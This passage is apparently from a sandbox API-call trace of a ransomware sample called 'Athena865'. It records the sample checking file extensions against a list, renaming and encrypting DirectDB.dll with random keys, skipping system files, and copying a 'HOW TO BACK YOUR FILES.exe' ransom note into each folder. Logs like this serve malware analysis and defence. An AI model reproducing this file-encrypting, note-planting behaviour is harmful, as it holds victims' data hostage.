[0064.580] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0064.580] lstrlenW (lpString="ade") returned 3 [0064.580] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0064.580] lstrlenW (lpString="adf") returned 3 [0064.580] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0064.580] lstrlenW (lpString="adn") returned 3 [0064.580] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0064.580] lstrlenW (lpString="adp") returned 3 [0064.580] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0064.580] lstrlenW (lpString="alf") returned 3 [0064.580] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0064.580] lstrlenW (lpString="ask") returned 3 [0064.580] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0064.580] lstrlenW (lpString="btr") returned 3 [0064.581] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0064.581] lstrlenW (lpString="cat") returned 3 [0064.581] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0064.581] lstrlenW (lpString="cdb") returned 3 [0064.581] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0064.581] lstrlenW (lpString="ckp") returned 3 [0064.581] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0064.581] lstrlenW (lpString="cma") returned 3 [0064.581] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0064.581] lstrlenW (lpString="cpd") returned 3 [0064.581] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0064.581] lstrlenW (lpString="dacpac") returned 6 [0064.581] lstrcmpiW (lpString1="DB.dll", lpString2="dacpac") returned 1 [0064.581] lstrlenW (lpString="dad") returned 3 [0064.581] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0064.581] lstrlenW (lpString="dadiagrams") returned 10 [0064.581] lstrcmpiW (lpString1="rectDB.dll", lpString2="dadiagrams") returned 1 [0064.581] lstrlenW (lpString="daschema") returned 8 [0064.581] lstrcmpiW (lpString1="ctDB.dll", lpString2="daschema") returned -1 [0064.581] lstrlenW (lpString="db-journal") returned 10 [0064.581] lstrcmpiW (lpString1="rectDB.dll", lpString2="db-journal") returned 1 [0064.581] lstrlenW (lpString="db-shm") returned 6 [0064.581] lstrcmpiW (lpString1="DB.dll", lpString2="db-shm") returned -1 [0064.581] lstrlenW (lpString="db-wal") returned 6 [0064.581] lstrcmpiW (lpString1="DB.dll", lpString2="db-wal") returned -1 [0064.581] lstrlenW (lpString="dbc") returned 3 [0064.581] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0064.581] lstrlenW (lpString="dbs") returned 3 [0064.581] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0064.581] lstrlenW (lpString="dbt") returned 3 [0064.581] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0064.581] lstrlenW (lpString="dbv") returned 3 [0064.581] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0064.582] lstrlenW (lpString="dbx") returned 3 [0064.582] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0064.582] lstrlenW (lpString="dcb") returned 3 [0064.582] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0064.582] lstrlenW (lpString="dct") returned 3 [0064.582] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0064.582] lstrlenW (lpString="dcx") returned 3 [0064.582] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0064.582] lstrlenW (lpString="ddl") returned 3 [0064.582] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0064.582] lstrlenW (lpString="dlis") returned 4 [0064.582] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0064.582] lstrlenW (lpString="dp1") returned 3 [0064.582] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0064.582] lstrlenW (lpString="dqy") returned 3 [0064.582] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0064.582] lstrlenW (lpString="dsk") returned 3 [0064.582] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0064.582] lstrlenW (lpString="dsn") returned 3 [0064.582] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0064.582] lstrlenW (lpString="dtsx") returned 4 [0064.582] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0064.582] lstrlenW (lpString="dxl") returned 3 [0064.582] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0064.582] lstrlenW (lpString="eco") returned 3 [0064.582] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0064.582] lstrlenW (lpString="ecx") returned 3 [0064.582] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0064.582] lstrlenW (lpString="edb") returned 3 [0064.582] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0064.582] lstrlenW (lpString="epim") returned 4 [0064.582] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0064.582] lstrlenW (lpString="fcd") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0064.583] lstrlenW (lpString="fdb") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0064.583] lstrlenW (lpString="fic") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0064.583] lstrlenW (lpString="flexolibrary") returned 12 [0064.583] lstrlenW (lpString="fm5") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0064.583] lstrlenW (lpString="fmp") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0064.583] lstrlenW (lpString="fmp12") returned 5 [0064.583] lstrcmpiW (lpString1="B.dll", lpString2="fmp12") returned -1 [0064.583] lstrlenW (lpString="fmpsl") returned 5 [0064.583] lstrcmpiW (lpString1="B.dll", lpString2="fmpsl") returned -1 [0064.583] lstrlenW (lpString="fol") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0064.583] lstrlenW (lpString="fp3") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0064.583] lstrlenW (lpString="fp4") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0064.583] lstrlenW (lpString="fp5") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0064.583] lstrlenW (lpString="fp7") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0064.583] lstrlenW (lpString="fpt") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0064.583] lstrlenW (lpString="frm") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0064.583] lstrlenW (lpString="gdb") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0064.583] lstrlenW (lpString="gdb") returned 3 [0064.583] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0064.583] lstrlenW (lpString="grdb") returned 4 [0064.584] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0064.584] lstrlenW (lpString="gwi") returned 3 [0064.584] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0064.584] lstrlenW (lpString="hdb") returned 3 [0064.584] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0064.584] lstrlenW (lpString="his") returned 3 [0064.584] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0064.584] lstrlenW (lpString="ib") returned 2 [0064.584] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0064.584] lstrlenW (lpString="idb") returned 3 [0064.584] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0064.584] lstrlenW (lpString="ihx") returned 3 [0064.584] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0064.584] lstrlenW (lpString="itdb") returned 4 [0064.584] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0064.584] lstrlenW (lpString="itw") returned 3 [0064.584] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0064.584] lstrlenW (lpString="jet") returned 3 [0064.584] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0064.584] lstrlenW (lpString="jtx") returned 3 [0064.584] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0064.584] lstrlenW (lpString="kdb") returned 3 [0064.584] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0064.584] lstrlenW (lpString="kexi") returned 4 [0064.584] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0064.584] lstrlenW (lpString="kexic") returned 5 [0064.584] lstrcmpiW (lpString1="B.dll", lpString2="kexic") returned -1 [0064.584] lstrlenW (lpString="kexis") returned 5 [0064.584] lstrcmpiW (lpString1="B.dll", lpString2="kexis") returned -1 [0064.584] lstrlenW (lpString="lgc") returned 3 [0064.584] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0064.584] lstrlenW (lpString="lwx") returned 3 [0064.584] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0064.585] lstrlenW (lpString="maf") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0064.585] lstrlenW (lpString="maq") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0064.585] lstrlenW (lpString="mar") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0064.585] lstrlenW (lpString="marshal") returned 7 [0064.585] lstrcmpiW (lpString1="tDB.dll", lpString2="marshal") returned 1 [0064.585] lstrlenW (lpString="mas") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0064.585] lstrlenW (lpString="mav") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0064.585] lstrlenW (lpString="maw") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0064.585] lstrlenW (lpString="mdbhtml") returned 7 [0064.585] lstrcmpiW (lpString1="tDB.dll", lpString2="mdbhtml") returned 1 [0064.585] lstrlenW (lpString="mdn") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0064.585] lstrlenW (lpString="mdt") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0064.585] lstrlenW (lpString="mfd") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0064.585] lstrlenW (lpString="mpd") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0064.585] lstrlenW (lpString="mrg") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0064.585] lstrlenW (lpString="mud") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0064.585] lstrlenW (lpString="mwb") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0064.585] lstrlenW (lpString="myd") returned 3 [0064.585] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0064.585] lstrlenW (lpString="ndf") returned 3 [0064.586] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0064.586] lstrlenW (lpString="nnt") returned 3 [0064.586] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0064.586] lstrlenW (lpString="nrmlib") returned 6 [0064.586] lstrcmpiW (lpString1="DB.dll", lpString2="nrmlib") returned -1 [0064.586] lstrlenW (lpString="ns2") returned 3 [0064.586] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0064.586] lstrlenW (lpString="ns3") returned 3 [0064.586] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0064.586] lstrlenW (lpString="ns4") returned 3 [0064.586] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0064.586] lstrlenW (lpString="nsf") returned 3 [0064.586] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0064.586] lstrlenW (lpString="nv") returned 2 [0064.586] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0064.586] lstrlenW (lpString="nv2") returned 3 [0064.586] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0064.586] lstrlenW (lpString="nwdb") returned 4 [0064.586] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0064.586] lstrlenW (lpString="nyf") returned 3 [0064.586] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0064.586] lstrlenW (lpString="odb") returned 3 [0064.586] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0064.586] lstrlenW (lpString="odb") returned 3 [0064.586] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0064.586] lstrlenW (lpString="oqy") returned 3 [0064.586] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0064.586] lstrlenW (lpString="ora") returned 3 [0064.586] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0064.587] lstrlenW (lpString="orx") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0064.587] lstrlenW (lpString="owc") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0064.587] lstrlenW (lpString="p96") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0064.587] lstrlenW (lpString="p97") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0064.587] lstrlenW (lpString="pan") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0064.587] lstrlenW (lpString="pdb") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0064.587] lstrlenW (lpString="pdm") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0064.587] lstrlenW (lpString="pnz") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0064.587] lstrlenW (lpString="qry") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0064.587] lstrlenW (lpString="qvd") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0064.587] lstrlenW (lpString="rbf") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0064.587] lstrlenW (lpString="rctd") returned 4 [0064.587] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0064.587] lstrlenW (lpString="rod") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0064.587] lstrlenW (lpString="rodx") returned 4 [0064.587] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0064.587] lstrlenW (lpString="rpd") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0064.587] lstrlenW (lpString="rsd") returned 3 [0064.587] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0064.587] lstrlenW (lpString="sas7bdat") returned 8 [0064.588] lstrcmpiW (lpString1="ctDB.dll", lpString2="sas7bdat") returned -1 [0064.588] lstrlenW (lpString="sbf") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0064.588] lstrlenW (lpString="scx") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0064.588] lstrlenW (lpString="sdb") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0064.588] lstrlenW (lpString="sdc") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0064.588] lstrlenW (lpString="sdf") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0064.588] lstrlenW (lpString="sis") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0064.588] lstrlenW (lpString="spq") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0064.588] lstrlenW (lpString="te") returned 2 [0064.588] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0064.588] lstrlenW (lpString="teacher") returned 7 [0064.588] lstrcmpiW (lpString1="tDB.dll", lpString2="teacher") returned -1 [0064.588] lstrlenW (lpString="tmd") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0064.588] lstrlenW (lpString="tps") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0064.588] lstrlenW (lpString="trc") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0064.588] lstrlenW (lpString="trc") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0064.588] lstrlenW (lpString="trm") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0064.588] lstrlenW (lpString="udb") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0064.588] lstrlenW (lpString="udl") returned 3 [0064.588] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0064.589] lstrlenW (lpString="usr") returned 3 [0064.589] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0064.589] lstrlenW (lpString="v12") returned 3 [0064.589] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0064.589] lstrlenW (lpString="vis") returned 3 [0064.589] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0064.589] lstrlenW (lpString="vpd") returned 3 [0064.589] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0064.589] lstrlenW (lpString="vvv") returned 3 [0064.589] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0064.589] lstrlenW (lpString="wdb") returned 3 [0064.589] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0064.589] lstrlenW (lpString="wmdb") returned 4 [0064.589] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0064.589] lstrlenW (lpString="wrk") returned 3 [0064.589] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0064.589] lstrlenW (lpString="xdb") returned 3 [0064.589] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0064.589] lstrlenW (lpString="xld") returned 3 [0064.589] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0064.589] lstrlenW (lpString="xmlff") returned 5 [0064.589] lstrcmpiW (lpString1="B.dll", lpString2="xmlff") returned -1 [0064.589] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\DirectDB.dll.Athena865") returned 59 [0064.589] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\directdb.dll.athena865"), dwFlags=0x1) returned 1 [0064.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\directdb.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0064.592] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29184) returned 1 [0064.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.593] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.593] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.593] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.593] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7500, lpName=0x0) returned 0x17c [0064.595] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7500) returned 0x100000 [0064.597] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.597] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.597] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0064.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0064.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.598] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0064.598] CloseHandle (hObject=0x17c) returned 1 [0064.598] CloseHandle (hObject=0x154) returned 1 [0064.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.599] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.599] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.599] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.599] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0064.599] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0064.599] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0064.599] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0064.599] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0064.599] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0064.599] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0064.599] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0064.599] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0064.599] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0064.599] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0064.599] lstrlenW (lpString="en-US") returned 5 [0064.599] lstrcpyW (in: lpString1=0x241e892, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0064.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f6b8 [0064.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x528e30 [0064.599] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0064.599] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0064.600] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.603] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd451300, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd451300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0064.603] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0064.603] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0064.603] lstrcmpiW (lpString1="msadc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.603] lstrcmpiW (lpString1="msadc", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.603] lstrcmpiW (lpString1="msadc", lpString2=".") returned 1 [0064.603] lstrcmpiW (lpString1="msadc", lpString2="..") returned 1 [0064.603] lstrcmpiW (lpString1="msadc", lpString2="windows") returned -1 [0064.603] lstrcmpiW (lpString1="msadc", lpString2="bootmgr") returned 1 [0064.603] lstrcmpiW (lpString1="msadc", lpString2="temp") returned -1 [0064.603] lstrcmpiW (lpString1="msadc", lpString2="pagefile.sys") returned -1 [0064.603] lstrcmpiW (lpString1="msadc", lpString2="boot") returned 1 [0064.603] lstrcmpiW (lpString1="msadc", lpString2="ids.txt") returned 1 [0064.603] lstrcmpiW (lpString1="msadc", lpString2="ntuser.dat") returned -1 [0064.603] lstrcmpiW (lpString1="msadc", lpString2="perflogs") returned -1 [0064.603] lstrcmpiW (lpString1="msadc", lpString2="MSBuild") returned -1 [0064.603] lstrlenW (lpString="msadc") returned 5 [0064.603] lstrcpyW (in: lpString1=0x241e892, lpString2="msadc" | out: lpString1="msadc") returned="msadc" [0064.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52af60 [0064.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x528dd0 [0064.603] lstrcatW (in: lpString1="msadc", lpString2="\\" | out: lpString1="msadc\\") returned="msadc\\" [0064.603] lstrcatW (in: lpString1="msadc\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="msadc\\HOW TO BACK YOUR FILES.exe") returned="msadc\\HOW TO BACK YOUR FILES.exe" [0064.604] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\msadc\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.607] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0064.607] lstrcmpiW 